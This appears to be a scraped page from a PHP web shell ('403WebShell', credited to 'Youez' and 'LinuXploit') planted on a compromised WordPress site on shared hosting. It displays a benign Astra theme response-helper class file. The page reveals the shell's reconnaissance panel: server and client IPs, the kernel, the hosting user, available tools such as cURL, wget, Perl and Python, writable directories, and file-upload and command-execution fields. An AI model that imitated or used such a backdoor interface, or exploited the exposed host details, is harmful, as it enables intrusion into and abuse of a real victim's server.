Uname:Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64

403WebShell
403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.152
Web Server : Apache
System : Linux webm009.cluster131.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : monpetu ( 144298)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/monpetu/www/ipprint/wp-content/themes/astra/inc/abilities/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/monpetu/www/ipprint/wp-content/themes/astra/inc/abilities/class-astra-abilities-response.php
<?php
/**
 * Ability Response Helper
 *
 * Standardized response format for all Astra abilities.
 *
 * @package Astra
 * @subpackage Abilities
 * @since 4.12.6
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class Astra_Abilities_Response
 *
 * Enforces consistent response format for all abilities.
 */
class Astra_Abilities_Response {
	/**
	 * Create a success response.
	 *
	 * @param string $message Success message.
	 * @param array  $data    Optional additional data.
	 * @return array Standardized success response.
	 */
	public static function success( $message, $data = array() ) {
		$response = array(
			'success' => true,
			'message' => $message,
		);

		if ( ! empty( $data ) ) {
			$response['data'] = $data;
		}

		return $response;
	}

	/**
	 * Create an error response.
	 *
	 * @param string $message    Error message.
	 * @param string $suggestion Optional suggestion.
	 * @return array Standardized error response.
	 */
	public static function error( $message, $suggestion = '' ) {
		$response = array(
			'success' => false,
			'message' => $message,
		);

		if ( ! empty( $suggestion ) ) {
			$response['suggestion'] = $suggestion;
		}

		return $response;
	}

	/**
	 * Create an error response from WP_Error.
	 *
	 * @param WP_Error|mixed $wp_error WordPress error object.
	 * @return array Standardized error response.
	 */
	public static function from_wp_error( $wp_error ) {
		/** @psalm-suppress DocblockTypeContradiction -- Defensive check for non-WP_Error callers. */
		if ( ! is_wp_error( $wp_error ) ) {
			return self::error( __( 'An unknown error occurred.', 'astra' ) );
		}

		return self::error( $wp_error->get_error_message() );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit